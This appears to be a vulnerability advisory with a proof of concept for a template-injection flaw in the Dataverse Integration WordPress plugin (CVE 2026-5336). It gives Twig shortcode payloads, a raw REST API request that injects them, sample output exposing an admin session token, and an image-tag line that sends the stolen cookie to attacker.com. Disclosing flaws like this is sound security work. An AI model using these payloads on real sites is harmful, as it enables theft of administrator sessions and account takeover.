Dataverse Integration < 2.91 – Contributor+ Server-Side Template Injection (SSTI) to Information Disclosure | CVE 2026-5336

Description

The plugin does not properly restrict access to its template rendering feature and exposes the viewing user's data to it, allowing users with a role as low as Contributor to disclose sensitive information, such as the session cookies of higher privileged users who view the affected content.

Proof of Concept

**Prerequisites:**
1. A WordPress installation with the Dataverse Integration plugin (v2.84) active.
2. The advanced setting `ICDS_TWIG_USE_PRIVILEGES` is disabled (this is the default state).
3. An attacker account with at least `Contributor` privileges.

**Step-by-Step Reproduction:**

1. Log in to the WordPress site using the attacker account (Contributor or Author).
2. Create a new Post and insert a Shortcode block.
3. Add the following payload to the block to dump the environment context (specifically targeting the `params` array which holds the cookies):
   `[icds_twig] Cookie Leak: {{ dump() }} [/icds_twig]`
   *(Alternatively, use `[icds_twig] {{ params | keys | join(', ') }} [/icds_twig]` for a stealthier payload).*
4. Save the post as a Draft or Submit for Review (if Contributor), or Publish it (if Author+).
5. Log in as a higher-privileged user (e.g., **Administrator**) in a separate browser session.
6. View the compromised post (either the published post or the preview of the draft).
7. Observe that the Administrator's sensitive internal request paths and session cookies (e.g., `wordpress_logged_in_*`) are leaked and rendered directly in the HTML source.

**Raw HTTP Request (REST API) for Injection:**
An attacker can also inject the payload seamlessly via the WordPress REST API:

```http
PUT /wp-json/wp/v2/posts/<POST_ID>?_locale=user HTTP/1.1
Host: <YOUR_TARGET_HOST>
Cookie: wordpress_logged_in_<HASH>=<ATTACKER_COOKIE>
X-WP-Nonce: <NONCE>
Content-Type: application/json

{
  "id": <POST_ID>,
  "content": "\n[icds_twig] Leak Data: {{ dump() }}[/icds_twig]\n"
}
Expected Result (Server Response / Frontend Output):
When the template is rendered, the dump() function outputs the global _context array injected by TwigProvider.php. The Administrator's authentication token is visibly exposed:
Leak Data: array(4) {
  ["now"]=> int(1773821059)
  ["params"]=> array(12) {
    ["wordpress_logged_in_cfab490f..."]=> string(129) "admin|1773992587|...<ADMIN_SESSION_TOKEN_HERE>..."
    ["_locale"]=> string(4) "user"
  }
  ["request"]=> array(5) {
    ["path"]=> string(23) "/wp-json/wp/v2/posts/60"
  }
}
Impact: By weaponizing this SSTI, the attacker can silently log the Administrator's session cookie via an injected HTML image tag (<img src="http://attacker.com/log?cookie={{ params.wordpress_logged_in_... }}" />), leading to full Account Takeover (ATO).